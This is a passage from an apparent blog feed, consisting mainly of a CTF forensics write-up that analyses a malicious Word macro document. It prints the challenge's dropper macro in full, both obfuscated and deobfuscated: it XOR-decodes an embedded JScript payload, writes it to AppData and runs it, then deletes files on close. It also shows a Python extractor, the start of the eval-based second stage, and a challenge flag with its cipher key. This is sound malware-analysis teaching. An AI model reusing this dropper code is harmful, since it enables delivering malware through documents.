prairie fishing nuke lack gras leaf capitol pdf entries arena geography puzzles disney arise sw evaluated berkeley indiana extensions endorsed conservation minimum null doe audit saskatchewan newspapers msg checked concert sd introduced fact charger announce as blog DDC{welcome_to_ddc_twenty_twenty_four_lets_do_some_crypto}
</span></span></code></pre></div><p>With the following key:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>abcdefghijklmnopqrstuvwxyz
</span></span><span style="display:flex;"><span>cwdsajtkxploehmzrbufgiyqnv
</span></span></code></pre></div><p>The flag is then: <code>DDC{welcome_to_ddc_twenty_twenty_four_lets_do_some_crypto}</code>.</p>
]]></content></item><item><title>HTB Cyber Apocalypse 2024 - Game Invitation</title><link>https://osiriz.dev/posts/2024/03/htb-cyber-apocalypse-2024-game-invitation/</link><pubDate>Sun, 17 Mar 2024 22:00:00 +0100</pubDate><guid>https://osiriz.dev/posts/2024/03/htb-cyber-apocalypse-2024-game-invitation/</guid><description>Challenge description In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: &amp;ldquo;Join The Fray: Embrace the Challenge.&amp;rdquo; But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?</description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge description</h2>
<p><em>In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: &ldquo;Join The Fray: Embrace the Challenge.&rdquo; But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?</em></p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/htbca2024/game_invitation/forensics_game_invitation.zip">forensics_game_invitation.zip</a></li>
</ul>
<h2 id="what-kind-of-file-do-we-get">What kind of file do we get?</h2>
<p>The file is of the type <code>docm</code> which is a Microsoft Word macro-enabled document<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>. This is like a <code>docx</code> file, which also has the ability to store charts, shapes, images, formatted text etc. The difference between these two file types, is that files with the <code>docm</code> extension can execute macros to automate tasks in word<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>. These kind of file extensions can be used for a lot of different kinds of attacks, by taking advantage of the VBA programming that is used for MS macros, to inject malware into a user&rsquo;s system. This line of thought will be in the back of our minds while we try to solve this challenge.</p>
<p>So when there is a CTF challenge with a MS Word macro-enabled document, one of the first things we want to do is to check what the macros actually do, since this is usually the initial stage of an attack. So to do that, we want to do macro-extraction and deobfuscation.</p>
<h2 id="macro-extraction-and-first-stage-deobfuscation">Macro-extraction and first stage deobfuscation</h2>
<p>We have to extract the Word macros out of the document, to deobfuscate them, and for that we are going to use the python tool called <a href="https://github.com/decalage2/oletools">Oletools</a>. Oletools is a package of python tools to analyze Microsoft OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>.</p>
<p>To use oletools, we execute the following command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ olevba -c invitation.docm
</span></span></code></pre></div><ul>
<li><code>olevba</code> - specifying the use of oletools</li>
<li><code>-c</code> - Display VBA source code, but do not analyze it (we will do this manually later)</li>
</ul>
<p>The output of this is:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>olevba 0.60.1 on Python 3.11.2 - http://decalage.info/python/oletools
</span></span><span style="display:flex;"><span>===============================================================================
</span></span><span style="display:flex;"><span>FILE: invitation.docm
</span></span><span style="display:flex;"><span>Type: OpenXML
</span></span><span style="display:flex;"><span>WARNING  For now, VBA stomping cannot be detected for files in memory
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------------------
</span></span><span style="display:flex;"><span>VBA MACRO ThisDocument.cls
</span></span><span style="display:flex;"><span>in file: word/vbaProject.bin - OLE stream: &#39;VBA/ThisDocument&#39;
</span></span><span style="display:flex;"><span>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
</span></span><span style="display:flex;"><span>(empty macro)
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------------------
</span></span><span style="display:flex;"><span>VBA MACRO NewMacros.bas
</span></span><span style="display:flex;"><span>in file: word/vbaProject.bin - OLE stream: &#39;VBA/NewMacros&#39;
</span></span><span style="display:flex;"><span>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
</span></span><span style="display:flex;"><span>Public IAiiymixt As String
</span></span><span style="display:flex;"><span>Public kWXlyKwVj As String
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Function JFqcfEGnc(given_string() As Byte, length As Long) As Boolean
</span></span><span style="display:flex;"><span>Dim xor_key As Byte
</span></span><span style="display:flex;"><span>xor_key = 45
</span></span><span style="display:flex;"><span>For i = 0 To length - 1
</span></span><span style="display:flex;"><span>given_string(i) = given_string(i) Xor xor_key
</span></span><span style="display:flex;"><span>xor_key = ((xor_key Xor 99) Xor (i Mod 254))
</span></span><span style="display:flex;"><span>Next i
</span></span><span style="display:flex;"><span>JFqcfEGnc = True
</span></span><span style="display:flex;"><span>End Function
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Sub AutoClose() &#39;delete the js script&#39;
</span></span><span style="display:flex;"><span>On Error Resume Next
</span></span><span style="display:flex;"><span>Kill IAiiymixt
</span></span><span style="display:flex;"><span>On Error Resume Next
</span></span><span style="display:flex;"><span>Set aMUsvgOin = CreateObject(&#34;Scripting.FileSystemObject&#34;)
</span></span><span style="display:flex;"><span>aMUsvgOin.DeleteFile kWXlyKwVj &amp; &#34;\*.*&#34;, True
</span></span><span style="display:flex;"><span>Set aMUsvgOin = Nothing
</span></span><span style="display:flex;"><span>End Sub
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Sub AutoOpen()
</span></span><span style="display:flex;"><span>On Error GoTo MnOWqnnpKXfRO
</span></span><span style="display:flex;"><span>Dim chkDomain As String
</span></span><span style="display:flex;"><span>Dim strUserDomain As String
</span></span><span style="display:flex;"><span>chkDomain = &#34;GAMEMASTERS.local&#34;
</span></span><span style="display:flex;"><span>strUserDomain = Environ$(&#34;UserDomain&#34;)
</span></span><span style="display:flex;"><span>If chkDomain &lt;&gt; strUserDomain Then
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Else
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Dim gIvqmZwiW
</span></span><span style="display:flex;"><span>Dim file_length As Long
</span></span><span style="display:flex;"><span>Dim length As Long
</span></span><span style="display:flex;"><span>file_length = FileLen(ActiveDocument.FullName)
</span></span><span style="display:flex;"><span>gIvqmZwiW = FreeFile
</span></span><span style="display:flex;"><span>Open (ActiveDocument.FullName) For Binary As #gIvqmZwiW
</span></span><span style="display:flex;"><span>Dim CbkQJVeAG() As Byte
</span></span><span style="display:flex;"><span>ReDim CbkQJVeAG(file_length)
</span></span><span style="display:flex;"><span>Get #gIvqmZwiW, 1, CbkQJVeAG
</span></span><span style="display:flex;"><span>Dim SwMbxtWpP As String
</span></span><span style="display:flex;"><span>SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode)
</span></span><span style="display:flex;"><span>Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
</span></span><span style="display:flex;"><span>Dim vTxAnSEFH
</span></span><span style="display:flex;"><span>    Set vTxAnSEFH = CreateObject(&#34;vbscript.regexp&#34;)
</span></span><span style="display:flex;"><span>    vTxAnSEFH.Pattern = &#34;sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa&#34;
</span></span><span style="display:flex;"><span>    Set I4j833DS5SFd34L3gwYQD = vTxAnSEFH.Execute(SwMbxtWpP)
</span></span><span style="display:flex;"><span>Dim Y5t4Ul7o385qK4YDhr
</span></span><span style="display:flex;"><span>If I4j833DS5SFd34L3gwYQD.Count = 0 Then
</span></span><span style="display:flex;"><span>GoTo MnOWqnnpKXfRO
</span></span><span style="display:flex;"><span>End If
</span></span><span style="display:flex;"><span>For Each N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD
</span></span><span style="display:flex;"><span>Y5t4Ul7o385qK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex
</span></span><span style="display:flex;"><span>Exit For
</span></span><span style="display:flex;"><span>Next
</span></span><span style="display:flex;"><span>Dim Wk4o3X7x1134j() As Byte
</span></span><span style="display:flex;"><span>Dim KDXl18qY4rcT As Long
</span></span><span style="display:flex;"><span>KDXl18qY4rcT = 13082
</span></span><span style="display:flex;"><span>ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
</span></span><span style="display:flex;"><span>Get #gIvqmZwiW, Y5t4Ul7o385qK4YDhr + 81, Wk4o3X7x1134j
</span></span><span style="display:flex;"><span>If Not JFqcfEGnc(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then
</span></span><span style="display:flex;"><span>GoTo MnOWqnnpKXfRO
</span></span><span style="display:flex;"><span>End If
</span></span><span style="display:flex;"><span>kWXlyKwVj = Environ(&#34;appdata&#34;) &amp; &#34;\Microsoft\Windows&#34;
</span></span><span style="display:flex;"><span>Set aMUsvgOin = CreateObject(&#34;Scripting.FileSystemObject&#34;)
</span></span><span style="display:flex;"><span>If Not aMUsvgOin.FolderExists(kWXlyKwVj) Then
</span></span><span style="display:flex;"><span>kWXlyKwVj = Environ(&#34;appdata&#34;)
</span></span><span style="display:flex;"><span>End If
</span></span><span style="display:flex;"><span>Set aMUsvgOin = Nothing
</span></span><span style="display:flex;"><span>Dim K764B5Ph46Vh
</span></span><span style="display:flex;"><span>K764B5Ph46Vh = FreeFile
</span></span><span style="display:flex;"><span>IAiiymixt = kWXlyKwVj &amp; &#34;\&#34; &amp; &#34;mailform.js&#34;
</span></span><span style="display:flex;"><span>Open (IAiiymixt) For Binary As #K764B5Ph46Vh
</span></span><span style="display:flex;"><span>Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j
</span></span><span style="display:flex;"><span>Close #K764B5Ph46Vh
</span></span><span style="display:flex;"><span>Erase Wk4o3X7x1134j
</span></span><span style="display:flex;"><span>Set R66BpJMgxXBo2h = CreateObject(&#34;WScript.Shell&#34;)
</span></span><span style="display:flex;"><span>R66BpJMgxXBo2h.Run &#34;&#34;&#34;&#34; + IAiiymixt + &#34;&#34;&#34;&#34; + &#34; vF8rdgMHKBrvCoCp0ulm&#34;
</span></span><span style="display:flex;"><span>ActiveDocument.Save
</span></span><span style="display:flex;"><span>Exit Sub
</span></span><span style="display:flex;"><span>MnOWqnnpKXfRO:
</span></span><span style="display:flex;"><span>Close #K764B5Ph46Vh
</span></span><span style="display:flex;"><span>ActiveDocument.Save
</span></span><span style="display:flex;"><span>End If
</span></span><span style="display:flex;"><span>End Sub
</span></span></code></pre></div><p>We can see there is an obfuscated Visual Basic macro, because the function and variable name are all scrambled up, and there isn’t any meaning to them. This makes it hard to understand what the code actually does, therefore we will try to deobfuscate it. This is done by trying to understand what the function does, and what the purpose of the variables are.</p>
<p>Instead of using oletools for deobfuscation, we will do this manually. This is because often it takes a person to understand the meaning of the different obfuscated functions and variables.</p>
<p>We will go through the code and give the function and variables relevant names:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-vbnet" data-lang="vbnet"><span style="display:flex;"><span><span style="color:#66d9ef">Public</span> mailformjspath <span style="color:#f92672">As</span> <span style="color:#66d9ef">String</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">Public</span> appdatapath <span style="color:#f92672">As</span> <span style="color:#66d9ef">String</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">Function</span> <span style="color:#a6e22e">reassemblepayload</span>(given_string() <span style="color:#f92672">As</span> <span style="color:#66d9ef">Byte</span>, length <span style="color:#f92672">As</span> <span style="color:#66d9ef">Long</span>) <span style="color:#f92672">As</span> <span style="color:#66d9ef">Boolean</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">Dim</span> xor_key <span style="color:#f92672">As</span> <span style="color:#66d9ef">Byte</span>
</span></span><span style="display:flex;"><span>	xor_key <span style="color:#f92672">=</span> 45
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">For</span> i <span style="color:#f92672">=</span> 0 <span style="color:#66d9ef">To</span> length <span style="color:#f92672">-</span> 1
</span></span><span style="display:flex;"><span>		given_string(i) <span style="color:#f92672">=</span> given_string(i) <span style="color:#f92672">Xor</span> xor_key
</span></span><span style="display:flex;"><span>		xor_key <span style="color:#f92672">=</span> ((xor_key <span style="color:#f92672">Xor</span> 99) <span style="color:#f92672">Xor</span> (i <span style="color:#f92672">Mod</span> 254))
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Next</span> i
</span></span><span style="display:flex;"><span>	reassemblepayload <span style="color:#f92672">=</span> <span style="color:#66d9ef">True</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">End</span> <span style="color:#66d9ef">Function</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">Sub</span> <span style="color:#a6e22e">AutoClose</span>() <span style="color:#75715e">&#39;delete the js script&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	<span style="color:#66d9ef">On</span> <span style="color:#66d9ef">Error</span> <span style="color:#66d9ef">Resume</span> <span style="color:#66d9ef">Next</span>
</span></span><span style="display:flex;"><span>	Kill mailformjspath
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">On</span> <span style="color:#66d9ef">Error</span> <span style="color:#66d9ef">Resume</span> <span style="color:#66d9ef">Next</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">Set</span> filesystemobject <span style="color:#f92672">=</span> CreateObject(<span style="color:#e6db74">&#34;Scripting.FileSystemObject&#34;</span>)
</span></span><span style="display:flex;"><span>	filesystemobject.DeleteFile appdatapath <span style="color:#f92672">&amp;</span> <span style="color:#e6db74">&#34;\*.*&#34;</span>, <span style="color:#66d9ef">True</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">Set</span> filesystemobject <span style="color:#f92672">=</span> <span style="color:#66d9ef">Nothing</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">End</span> <span style="color:#66d9ef">Sub</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">Sub</span> <span style="color:#a6e22e">AutoOpen</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">On</span> <span style="color:#66d9ef">Error</span> <span style="color:#66d9ef">GoTo</span> end_of_program
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">Dim</span> chkDomain <span style="color:#f92672">As</span> <span style="color:#66d9ef">String</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">Dim</span> strUserDomain <span style="color:#f92672">As</span> <span style="color:#66d9ef">String</span>
</span></span><span style="display:flex;"><span>	chkDomain <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;GAMEMASTERS.local&#34;</span>
</span></span><span style="display:flex;"><span>	strUserDomain <span style="color:#f92672">=</span> Environ<span style="color:#960050;background-color:#1e0010">$</span>(<span style="color:#e6db74">&#34;UserDomain&#34;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">If</span> chkDomain <span style="color:#f92672">&lt;&gt;</span> strUserDomain <span style="color:#66d9ef">Then</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">Else</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Dim</span> worddocfile
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Dim</span> file_length <span style="color:#f92672">As</span> <span style="color:#66d9ef">Long</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Dim</span> length <span style="color:#f92672">As</span> <span style="color:#66d9ef">Long</span>
</span></span><span style="display:flex;"><span>		file_length <span style="color:#f92672">=</span> FileLen(ActiveDocument.FullName)
</span></span><span style="display:flex;"><span>		worddocfile <span style="color:#f92672">=</span> FreeFile
</span></span><span style="display:flex;"><span>		Open (ActiveDocument.FullName) <span style="color:#66d9ef">For</span> Binary <span style="color:#f92672">As</span> #worddocfile
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Dim</span> worddocfiledata() <span style="color:#f92672">As</span> <span style="color:#66d9ef">Byte</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">ReDim</span> worddocfiledata(file_length)
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Get</span> #worddocfile, 1, worddocfiledata
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Dim</span> worddocfiledataasstr <span style="color:#f92672">As</span> <span style="color:#66d9ef">String</span>
</span></span><span style="display:flex;"><span>		worddocfiledataasstr <span style="color:#f92672">=</span> StrConv(worddocfiledata, vbUnicode)
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Dim</span> regexp_match, regexp_matches
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Dim</span> regexp
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Set</span> regexp <span style="color:#f92672">=</span> CreateObject(<span style="color:#e6db74">&#34;vbscript.regexp&#34;</span>)
</span></span><span style="display:flex;"><span>		regexp.Pattern <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa&#34;</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Set</span> regexp_matches <span style="color:#f92672">=</span> regexp.Execute(worddocfiledataasstr)
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Dim</span> preindextomailformjspayload
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">If</span> regexp_matches.Count <span style="color:#f92672">=</span> 0 <span style="color:#66d9ef">Then</span>
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">GoTo</span> end_of_program
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">End</span> <span style="color:#66d9ef">If</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">For</span> <span style="color:#66d9ef">Each</span> regexp_match <span style="color:#f92672">In</span> regexp_matches
</span></span><span style="display:flex;"><span>			preindextomailformjspayload <span style="color:#f92672">=</span> regexp_match.FirstIndex
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">Exit</span> <span style="color:#66d9ef">For</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Next</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Dim</span> mailformjspayload() <span style="color:#f92672">As</span> <span style="color:#66d9ef">Byte</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Dim</span> mailformjspayloadlength <span style="color:#f92672">As</span> <span style="color:#66d9ef">Long</span>
</span></span><span style="display:flex;"><span>		mailformjspayloadlength <span style="color:#f92672">=</span> 13082
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">ReDim</span> mailformjspayload(mailformjspayloadlength)
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Get</span> #worddocfile, preindextomailformjspayload <span style="color:#f92672">+</span> 81, mailformjspayload
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">If</span> <span style="color:#66d9ef">Not</span> reassemblepayload(mailformjspayload(), mailformjspayloadlength <span style="color:#f92672">+</span> 1) <span style="color:#66d9ef">Then</span>
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">GoTo</span> end_of_program
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">End</span> <span style="color:#66d9ef">If</span>
</span></span><span style="display:flex;"><span>		appdatapath <span style="color:#f92672">=</span> Environ(<span style="color:#e6db74">&#34;appdata&#34;</span>) <span style="color:#f92672">&amp;</span> <span style="color:#e6db74">&#34;\Microsoft\Windows&#34;</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Set</span> filesystemobject <span style="color:#f92672">=</span> CreateObject(<span style="color:#e6db74">&#34;Scripting.FileSystemObject&#34;</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">If</span> <span style="color:#66d9ef">Not</span> filesystemobject.FolderExists(appdatapath) <span style="color:#66d9ef">Then</span>
</span></span><span style="display:flex;"><span>			appdatapath <span style="color:#f92672">=</span> Environ(<span style="color:#e6db74">&#34;appdata&#34;</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">End</span> <span style="color:#66d9ef">If</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Set</span> filesystemobject <span style="color:#f92672">=</span> <span style="color:#66d9ef">Nothing</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Dim</span> mailformjsfile
</span></span><span style="display:flex;"><span>		mailformjsfile <span style="color:#f92672">=</span> FreeFile
</span></span><span style="display:flex;"><span>		mailformjspath <span style="color:#f92672">=</span> appdatapath <span style="color:#f92672">&amp;</span> <span style="color:#e6db74">&#34;\&#34;</span> <span style="color:#f92672">&amp;</span> <span style="color:#e6db74">&#34;mailform.js&#34;</span>
</span></span><span style="display:flex;"><span>		Open (mailformjspath) <span style="color:#66d9ef">For</span> Binary <span style="color:#f92672">As</span> #mailformjsfile
</span></span><span style="display:flex;"><span>		Put #mailformjsfile, 1, mailformjspayload
</span></span><span style="display:flex;"><span>		Close #mailformjsfile
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Erase</span> mailformjspayload
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Set</span> shell <span style="color:#f92672">=</span> CreateObject(<span style="color:#e6db74">&#34;WScript.Shell&#34;</span>)
</span></span><span style="display:flex;"><span>		shell.Run <span style="color:#e6db74">&#34;&#34;&#34;&#34;</span> <span style="color:#f92672">+</span> mailformjspath <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;&#34;&#34;&#34;</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34; vF8rdgMHKBrvCoCp0ulm&#34;</span>
</span></span><span style="display:flex;"><span>		ActiveDocument.Save
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">Exit</span> <span style="color:#66d9ef">Sub</span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">end_of_program</span>:
</span></span><span style="display:flex;"><span>		Close #mailformjsfile
</span></span><span style="display:flex;"><span>		ActiveDocument.Save
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">End</span> <span style="color:#66d9ef">If</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">End</span> <span style="color:#66d9ef">Sub</span>
</span></span></code></pre></div><p>When deobfuscating the code, we see that there is one function and several sub procedures in the form of <code>AutoClose()</code> and <code>AutoOpen()</code>. The latter of which runs when the document is opened.</p>
<p>When the document is opened, it is checked whether the computer&rsquo;s domain is <code>GAMEMASTERS.local</code>, if it isn’t the script does nothing, else the rest of the macro runs. This is probably done to make sure that if the script would try to execute on one of our computers, no harm would be done.</p>
<p>The script does the following:</p>
<ol>
<li>The script reads a file in a binary format, it reads the raw data of the file and is looking for a specific sequence of characters: <code>sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa</code>. Once these characters are found, it remembers the position.</li>
<li>After finding the position of this set of characters, it then moves forward 81 characters (because the target sequence was 81 characters long) and continues to read 13082 bytes of data from this new position.</li>
<li>The script afterwards uses xor to decrypt the data that it is reading.</li>
<li>This data is saved to a file (and based on the <code>.js</code> extension we can assume it is JScript). This is executed with the parameter <code>vF8rdgMHKBrvCoCp0ulm</code>.</li>
</ol>
<p>We found the offsets and extracted the 2nd stage with a Python script that was created for the purpose:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#34;invitation.docm&#34;</span>, <span style="color:#e6db74">&#34;rb&#34;</span>) <span style="color:#66d9ef">as</span> fp:
</span></span><span style="display:flex;"><span>  docbytes <span style="color:#f92672">=</span> fp<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>searchstrindex <span style="color:#f92672">=</span> docbytes<span style="color:#f92672">.</span>find(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa&#39;</span>) <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>payloadindex <span style="color:#f92672">=</span> searchstrindex <span style="color:#f92672">+</span> <span style="color:#ae81ff">81</span>
</span></span><span style="display:flex;"><span>payloadsize <span style="color:#f92672">=</span> <span style="color:#ae81ff">13082</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>obfpayload <span style="color:#f92672">=</span> docbytes[payloadindex:payloadindex<span style="color:#f92672">+</span>payloadsize]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Deobf using the function in the macro</span>
</span></span><span style="display:flex;"><span>clearpayload <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>xor_key <span style="color:#f92672">=</span> <span style="color:#ae81ff">45</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(payloadsize):
</span></span><span style="display:flex;"><span>  clearpayload <span style="color:#f92672">+=</span> (obfpayload[i] <span style="color:#f92672">^</span> xor_key)<span style="color:#f92672">.</span>to_bytes(<span style="color:#ae81ff">1</span>, <span style="color:#e6db74">&#39;big&#39;</span>)
</span></span><span style="display:flex;"><span>  xor_key <span style="color:#f92672">=</span> ((xor_key <span style="color:#f92672">^</span> <span style="color:#ae81ff">99</span>) <span style="color:#f92672">^</span> (i <span style="color:#f92672">%</span> <span style="color:#ae81ff">254</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Save the second stage</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#39;mailform.js&#39;</span>, <span style="color:#e6db74">&#39;wb&#39;</span>) <span style="color:#66d9ef">as</span> fp:
</span></span><span style="display:flex;"><span>  fp<span style="color:#f92672">.</span>write(clearpayload)
</span></span></code></pre></div><h2 id="analysis-of-the-second-stage">Analysis of the second stage</h2>
<p>The second stage is a JScript payload. It is similar to Javascript since they are both based on ECMAScript. We can use a <a href="https://codebeautify.org/jsviewer">javascript beautifier</a> to make it more readable:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">lVky</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">WScript</span>.<span style="color:#a6e22e">Arguments</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">DASz</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">lVky</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">Iwlh</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">lyEK</span>();
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Iwlh</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">JrvS</span>(<span style="color:#a6e22e">Iwlh</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Iwlh</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">xR68</span>(<span style="color:#a6e22e">DASz</span>, <span style="color:#a6e22e">Iwlh</span>);
</span></span><span style="display:flex;"><span>eval(<span style="color:#a6e22e">Iwlh</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">af5Q</span>(<span style="color:#a6e22e">r</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">charCodeAt</span>(<span style="color:#ae81ff">0</span>);
